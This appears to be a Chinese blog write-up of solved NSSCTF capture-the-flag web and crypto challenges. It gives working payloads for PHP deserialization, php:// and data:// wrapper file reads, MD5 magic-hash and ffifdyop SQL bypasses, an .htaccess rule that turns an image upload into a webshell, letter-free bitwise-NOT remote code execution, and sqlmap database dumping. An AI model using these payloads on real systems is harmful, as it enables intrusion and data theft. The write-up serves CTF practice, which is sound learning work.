[SWPUCTF] 2024新生赛之(NSSCTF)刷题记录 ②_[swpuctf 2024 新生赛]hardrce

<?php  

class Flag{  //flag.php 
    public $file;  
    public function \_\_tostring(){  
        if(isset($this->file)){  
            echo file\_get\_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

使用在线工具:https://c.runoob.com/compile/1/ 序列化对象后赋值,查看源码得到flag

<?php
 
class Flag{  //flag.php 
    public $file="flag.php";  
    public function \_\_tostring(){  
        if(isset($this->file)){  
            echo file\_get\_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a=new Flag();
echo serialize($a);
?>

在这里插入图片描述

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
O #对象 变量类型
4 #类的长度
1 ## 属性数量(类的变量个数)
s # 代表字符串

Payload:?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

在这里插入图片描述

NSSCTF{05a42800-8e18-4a04-8fb3-266650e12f02}

[强网拟态 2021]拟态签到题

Base64解码:ZmxhZ3tHYXFZN0t0RXRyVklYMVE1b1A1aUVCUkNZWEVBeThyVH0=

在这里插入图片描述

NSSCTF{GaqY7KtEtrVIX1Q5oP5iEBRCYXEAy8rT}

[BJDCTF 2020]easy_md5

考点:ffifdyop绕过

随便输点然后抓个包有个hint提示 ffifdyop绕过
在这里插入图片描述
在这里插入图片描述
ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是' or '6
Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是select * from 'admin' where password= or '6xxxxx',等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数

在这里插入图片描述
在这里插入图片描述
弱类型比较 直接可以用科学计数法0e进行绕过 Payload:?a=s1091221200a&b=s155964671a

240610708
0e462097431906509019562988736854


NKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

s1502113478a
0e861580163291561247404381396064

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s155964671a
0e342768416822451524974117254469

s1184209335a
0e072485820392773389523109082030

s1665632922a
0e731198061491163073197128363787

s1502113478a
0e861580163291561247404381396064

s1836677006a
0e481036490867661113260034900752

这里还有一关代码审计 判断两个参数不相等 且md5值相等 所以这里需要数组绕过

param1[]=1&param2[]=2

 <?php
error\_reporting(0);
include "flag.php";

highlight\_file(\_\_FILE\_\_);

if($\_POST['param1']!==$\_POST['param2']&&md5($\_POST['param1'])===md5($\_POST['param2'])){
    echo $flag;
} 

在这里插入图片描述

NSSCTF{7c1a1f48-e3b1-4c3c-a876-84698ea47e20} 这flag提交不对哇擦~

[SWPUCTF 2021 新生赛]easyupload3.0

考点:.htaccess 解析图片马
在这里插入图片描述
这里新建一个a.htaccess 内容如下,然后在上传123.jpg就可以解析了 然后上传成功使用蚁剑连接

<FilesMatch "123.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

在这里插入图片描述
在这里插入图片描述

NSSCTF{92184fe5-dadd-4cb1-98d2-5c553065110d}

[SWPUCTF 2021 新生赛]hardrce

考点:无字母RCE

这里参考大佬的文章:无字母RCE

无数字字母rce:就是不利用数字和字母构造出webshell,从而能够执行我们的命令
主要用到两种方法:1.异或 2.取反两种方法,这两种方法是目前来看最实用的两种方法。

header("Content-Type:text/html;charset=utf-8");
error\_reporting(0);
highlight\_file(\_\_FILE\_\_);
if(isset($\_GET['wllm']))
{
    $wllm = $\_GET['wllm'];
    $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\\*','\?','\<','\>','\=','\`',];
    foreach ($blacklist as $blackitem)
    {
        if (preg\_match('/' . $blackitem . '/m', $wllm)) {
        die("LTLT说不能用这些奇奇怪怪的符号哦!");
    }}
if(preg\_match('/[a-zA-Z]/is',$wllm))
{
    die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
    echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!

这里参考大佬博客:https://blog.csdn.net/miuzzx/article/details/109143413

system是(~%8C%86%8C%8B%9A%92)
?wllm=~(~%8C%86%8C%8B%9A%92)(~%93%8c%df%d0);

脚本(套神):

s = "ls"
for i in range(len(s)):
    print('%'+str(hex((255)-ord(s[i]))[2:]),end='')

然后cat /flllllaaaaaaggggggg即可。

?wllm=~(~%8C%86%8C%8B%9A%92)(~%8b%9e%9c%df%d0%99%93%93%93%93%93%9e%9e%9e%9e%9e%9e%98%98%98%98%98%98%98);

在这里插入图片描述

在这里插入图片描述

[SWPUCTF 2021 新生赛]PseudoProtocols

考点:伪协议

在这里插入图片描述
这里给了提示找到hint.php 然后url 里面有个wllm参数 直接使用伪协议然后访问test2222222222222.php进行代码审计

Payload:php://filter/read/convert.base64-encode/resource=hint.php

在这里插入图片描述
Base64解码:PD9waHANCi8vZ28gdG8gL3Rlc3QyMjIyMjIyMjIyMjIyLnBocA0KPz4=

在这里插入图片描述

 <?php
ini\_set("max\_execution\_time", "180");
show\_source(\_\_FILE\_\_);
include('flag.php');
$a= $\_GET["a"];
if(isset($a)&&(file\_get\_contents($a,'r')) === 'I want flag'){
    echo "success\n";
    echo $flag;
}
?> 

a参数利用file_get_contents()函数已只读的方式打开,如果内容等于I want flag的话输出flag

可以使用两种:

①:php://input ​打开文件流后,我们直接在流里面写入我们的恶意代码,此时包含既可执行代码。
②:data://本身是数据流封装器,其原理和用法跟php://input类似,但是是发送GET请求参数。

PayLoad:?a=data://text/plain,I want flag

在这里插入图片描述
在这里插入图片描述

NSSCTF{208f041b-4756-4c52-96ae-b07e84395615}

[SWPUCTF 2021 新生赛]crypto7

MD5解密:https://www.cmd5.com/

在这里插入图片描述

NSSCTF{md5yyds}

[SWPUCTF 2021 新生赛]crypto8

uuencode解码:http://www.metools.info/master/uuencode158.html
在这里插入图片描述

NSSCTF{cheese_is_power}

[SWPUCTF 2021 新生赛]error

考点:sqlmap的使用

在这里插入图片描述
随便输入一个1’ 发现报错 存在字符型注入
在这里插入图片描述
直接使用sqlmap工具:

sqlmap -u "http://node2.anna.nssctf.cn:28060/index.php?id=1'" --dbs #列出数据库

在这里插入图片描述

 sqlmap -u "http://node2.anna.nssctf.cn:28060/index.php?id=1'" -D test_test --tables  #列出表

在这里插入图片描述

 sqlmap -u "http://node2.anna.nssctf.cn:28060/index.php?id=1'" -D test_db -T test_tb --columns   #列出字段

在这里插入图片描述

 sqlmap -u "http://node2.anna.nssctf.cn:28060/index.php?id=1'" -D test_db -T test_tb -C flag --dump  #查看flag值

在这里插入图片描述

NSSCTF{1b1761ce-d458-4f91-8912-11c62cda2779}

[NISACTF 2022]easyssrf

在这里插入图片描述
这里直接使用file://读取在/fl4g下面得到了一个ha1x1xu1u.php

在这里插入图片描述
在这里插入图片描述

 <?php

highlight\_file(\_\_FILE\_\_);
error\_reporting(0);

$file = $\_GET["file"];
if (stristr($file, "file")){
  die("你败了.");
}

//flag in /flag
echo file\_get\_contents($file); 

Payload:?file=php://filter/read/convert.base64-encode/resource=/flag

在这里插入图片描述
在这里插入图片描述

NSSCTF{6347b3f0-35b6-42de-92b2-32d6114f6a63}

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值